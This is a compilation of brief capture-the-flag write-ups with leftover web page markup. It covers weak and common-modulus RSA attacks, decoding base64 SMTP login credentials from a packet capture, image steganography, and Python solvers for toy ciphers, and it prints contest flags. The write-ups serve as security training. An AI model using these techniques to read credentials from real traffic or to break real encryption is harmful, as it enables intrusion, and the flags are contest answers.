<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF</span></span></span><span>/</span><span><span>ctf_in_2017</span></span><span>/</span>tuctf<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/vngkv123/CTF/tree-commit/4f7bda9d45bdbada34711a8a59a61e9f65a260f8/ctf_in_2017/tuctf" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/vngkv123/CTF/file-list/master/ctf_in_2017/tuctf"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>future.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>guest_book.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>unknown.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
The python code provided allows you to make a single move then it makes some predefined moves. The goal was a bit confusing to me at first as I wasn’t sure if they wanted the position of the king after the first move only (assuming it survided) or its final position regardless. It was the latter.
I tweaked the code a bit so that it tries all the possible (wrong) moves that would matter, which are the king’s. So basically:
1. Make king move from e1 to X (64 possible combinations [a-h][1-8]).2. Let bot make moves.3. If king survived after those moves, add its position to a set list.
Code: <https://github.com/abatchy17/abatchy17.github.io/blob/a5bc614b2fb353f9c645e437696151096c7f9202/code/buggybot.py>
Output: `d1;d2;d3;d4;d5;d6;d7;h7;a8;b8;c8;d8;e8;f8;g8;h8`
The flag is `DCTF{sha256(positions)}` = `DCTF{1bdd0a4382410d33cd0a0bf0e8193345babc608ea0ddd83dccbcb4763d67c67b}.`
Abatchy
|
The scout.bmp file header is 41 4C, which is corrupted. We can fix it by changing it to 42 4D.
Then we can translate the symbol with Sigeriontsevsky dictionary.
```FOR GARY-(7,187) FOR MIKE-(5,69)FOR GARY-182,1,171,82,70,184,93,171,182,93,147,147,134,146,146,108,115,93,184,147,134,146,184,177,1,182,128,93,171,145,130,134FOR MIKE-30,60,3,1,18,18FOR GARY-147,134,1,108,88```
At first we thought it was substitution cipher, but we could not decrypt after some cyrptoanalysis work. After observing the pattern for some time, we assumed that it is encrypted with RSA. GARY uses 187 as N and 7 as e, Mike uses 69 as N and 5 as e. Since N is small, we can compute d easily. After that we can decrypt the message, which is the following(Decrypted numbers range from 1 to 26, which can be mapped into alphabets according to the Sigeriontsevsky dictionary. Space is appended by us),
```Gary: GAR? I FORGOT THE END OF THE FLAG BORSCH
Mike: OURALL
Gary: THANK```
We assumed that the flag is BORSCHOURALL, but we got an "invalid flag" answer. Then we turned it into lowercase and bingo! |
# The Robots Grandmother
## DescriptionEvery once in a while we see the Grand Robot Leader Extraordinaire communicating over email with the Grand Robot Matriarch. We suspect there might be secret communications between the two, so we tapped into the network links at the Matriarch's house to see if we could grab the password to the account. We got this file, but our network admin is gone for two weeks training pigeons to carry packets. So we don't actually know how to read this file. Can you help us?
### SolutionWe are given small SMTP session pcap file, with the initial EHLO and the smtp auth.
We can see that the authentication credentials are base64 encoded which we can easily decode.
```~# tcpdump -r the-robots-grandmother.pcap
18:11:46.835199 IP6 ip6-localhost.54050 > ip6-localhost.smtp: Flags [P.], seq 1:16, ack 63, win 342, options [nop,nop,TS val 221627326 ecr 221627039], length 15: SMTP: ehlo x.shh.sh18:11:46.836051 IP6 ip6-localhost.smtp > ip6-localhost.54050: Flags [P.], seq 63:197, ack 16, win 342, options [nop,nop,TS val 221627327 ecr 221627326], length 134: SMTP: 250-x.shh.sh Hello x.shh.sh [::1]18:11:46.836066 IP6 ip6-localhost.54050 > ip6-localhost.smtp: Flags [.], ack 197, win 350, options [nop,nop,TS val 221627327 ecr 221627327], length 018:11:49.043172 IP6 ip6-localhost.54050 > ip6-localhost.smtp: Flags [P.], seq 16:28, ack 197, win 350, options [nop,nop,TS val 221627547 ecr 221627327], length 12: SMTP: auth login18:11:49.043346 IP6 ip6-localhost.smtp > ip6-localhost.54050: Flags [P.], seq 197:215, ack 28, win 342, options [nop,nop,TS val 221627547 ecr 221627547], length 18: SMTP: 334 VXNlcm5hbWU618:11:54.915343 IP6 ip6-localhost.54050 > ip6-localhost.smtp: Flags [P.], seq 28:42, ack 215, win 350, options [nop,nop,TS val 221628134 ecr 221627547], length 14: SMTP: bWFsbG9yeQ==18:11:54.915496 IP6 ip6-localhost.smtp > ip6-localhost.54050: Flags [P.], seq 215:233, ack 42, win 342, options [nop,nop,TS val 221628134 ecr 221628134], length 18: SMTP: 334 UGFzc3dvcmQ618:12:00.154289 IP6 ip6-localhost.54050 > ip6-localhost.smtp: Flags [P.], seq 42:96, ack 233, win 350, options [nop,nop,TS val 221628658 ecr 221628134], length 54: SMTP: ZmxhZy1zcGluc3Rlci1iZW5lZml0LWZhbHNpZnktZ2FtYmlhbg==```
When we decode the user base64 we get:
```echo bWFsbG9yeQ== | base64 -dmallory```
And password base64 is decoded to:
```echo ZmxhZy1zcGluc3Rlci1iZW5lZml0LWZhbHNpZnktZ2FtYmlhbg | base64 -dflag-spinster-benefit-falsify-gambianbase64```
flag is: spinster-benefit-falsify-gambianbase64 |
Three distinct image challenges, classic image steganography.
#1: strings#2: binwalk#3: replace and fixup the PNG header, decode QR code.
https://advancedpersistentjest.com/2017/11/27/writeups-lucifervm-notes-worth-a-thousand-words-the-never-ending-crypto-tuctf/ |
Check out [the detailed writeup](https://rootfs.eu/codeblue2017-common-modulus/)
We're given two RSA-encrypted ciphertexts of the same message (flag), under different keys that share the same modulus.
Calculate $c_1^{x} * c_2^{y} \mod n$ such that $x$ and $y$ are integers that satisfy Bezout's identity for the public exponents $e_1$ and $e_2$ respectively. Use the Extended Euclidean Algorithm to get $x$ and $y$. |
The flag is "encrypted" into the blue channel. Each pixel is made up of `red, green := randint(1,255), randint(1,255)`, with `blue := flag_char * red/256 * green/255 * 10``solve.py` simply solves for `c`, picking the most frequent (for all `out*.jpg` observations) occurence, in order to cancel out the random noice from `red` and `green`.
# solve.py```pythonfrom PIL import Image
# get observationschars = Nonefor i in range(1, 101): img = Image.open("out"+str(i)+".png") data = img.load()
if not chars: chars = [] for _ in range(img.width): chars.append([])
for i in range(img.width): r, g, shit = data[i, 0] c = (shit / (r/256 * g/256 * 10)) chars[i].append(c)
flag = []# use the most common candidatefor char in chars: candidates = {} for c in char: c = round(c) if c not in candidates: candidates[c] = 0 candidates[c] += 1 most_frequent, frequency = None, 0 for candidate, freq in candidates.items(): if freq > frequency: most_frequent, frequency = candidate, freq flag.append(most_frequent)
print("".join(list(map(chr, flag))))```
Resulting in `"tpctf{i_c4nt_7h1nk_0f_a_fUnny_f14g_:(}"`
# encode.pycleaned version of `encode.py` (for reference):```import randomfrom PIL import Image
print(">>", [ord(c) for c in "REDACTED"])tries = []for i in range(1, 101): chars = []
flag = "REDACTED" img = Image.new("RGB", (len(flag), 1), "white") data = img.load() i = 0 for c in flag: c = ord(c) r = random.randint(1, 256) g = random.randint(1, 256) data[i, 0] = (r, g, round(c*(r/256)*(g/256)*10)) i += 1 chars.append((r, g, round(c*(r/256)*(g/256)*10))) tries.append(chars) # img.save("out"+str(i)+".png")
print(tries[0])for ch in tries[0]: r, g, shit = ch print(chr(int(shit / (r/256 * g/256 * 10))))``` |
tl;dr after renaming variables to something readable, for every character of the flag we get two random integers (say a, b) written explicitely as red and green (between 1 and 255 inclusively). Blue is just a/256 * b/256 * flag_character * 10. Depending on whether this product is less than 256, we can easily reverse what flag_character is. It doesn't happen each time. As we have the flag encrypted 100 times, for each position of the flag I count how often different characters appear and select the most common one and this gives the flag. |
To join the channel you need an invite link and a discord account.
You can register to Discord [here](https://discordapp.com).
During CTF it was posted on the [main page](https://tuctf.asciioverflow.com/) of the CTF
-----
In the first version of the task the bot (Mee6) will send you the message:> @%your_nickname%, Welcome to TUCTF! Please read the rules before posting!> > If you have a question about a challenge, please use @Challenge: ChallengeName to automatically tag the challenge creator!> > And finally, here's your "I'm playing" flag: TUCTF{I’m_Mr_m33seek5_G1V3_M3_th3_fl4g!}> > Thank you for playing TUCTF!
-----
In the second version the flag was in the channel topic, you might have to click it.
-----
flag: # TUCTF{I’m_Mr_m33seek5_G1V3_M3_th3_fl4g!} |
We're given a binary `"superencryption"` which has a encryption routine, but no decryption routine.Encryption is fairly simple, consisting of three steps: mangle all characters, swap (reverse) in chunks of five, then in chunks of three.Each swap leaves the remaining characters, e.g.: `swap3("ABCD") -> "CBAD`.Mangling adds a small "derivative" of char num.The solution is to undo the mangling (subtract the "derivative"), and the swap operations, in reverse order, resulting in the flag `"tpctf{Y4Y_f0r_r3v3rse_3ngin33ring}"`.# solve.py``` pythondef mangle(buf): l = len(buf) out = l*[0] i = 0 while i < l: if buf[i] == 0xa: break out[i] = int( buf[i] + ( (((i+22) / 2) ^ 0x1b) % 11 ) ) i += 1 return out
def demangle(buf): l = len(buf) out = l*[0] i = 0 while i < l: if buf[i] == 0xa: break out[i] = int( buf[i] - ( (((i+22) / 2) ^ 0x1b) % 11 ) ) i += 1 return out
def swap_5(buf): l = len(buf) out = l*[0] i = 0 while i+4 < l: out[i+0] = buf[i+4] out[i+1] = buf[i+3] out[i+2] = buf[i+2] out[i+3] = buf[i+1] out[i+4] = buf[i+0] i += 5 while i < l: out[i] = buf[i] i += 1 return out
def swap_3(buf): l = len(buf) out = l*[0] i = 0 while i+3 < l: # typo? should be i+2<l out[i+0] = buf[i+2] out[i+1] = buf[i+1] out[i+2] = buf[i+0] i += 3 while i < l: out[i] = buf[i] i += 1 return out
def encrypt(buf): buf = list(map(ord, buf)) return "".join(map(chr, swap_3(swap_5(mangle(buf))) ))
def decrypt(buf): buf = list(map(ord, buf)) return "".join(map(chr, demangle(swap_5(swap_3(buf))) ))
if __name__ == "__main__": test = list(map(ord, "ABCDEFG")) assert swap_3(swap_3(test)) == test, "swap3 doesn't work" assert swap_5(swap_5(test)) == test, "swap5 doesn't work" assert demangle(mangle(test)) == test, "(de)mangle doesn't work"
print(decrypt("dufhyuc>bi{{f0|;vwh<~b5p5thjq6goj}"))```
Fun fact: they made a mistake in their swap 3 step (doesn't impact the flag). See if you can spot it ;) |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 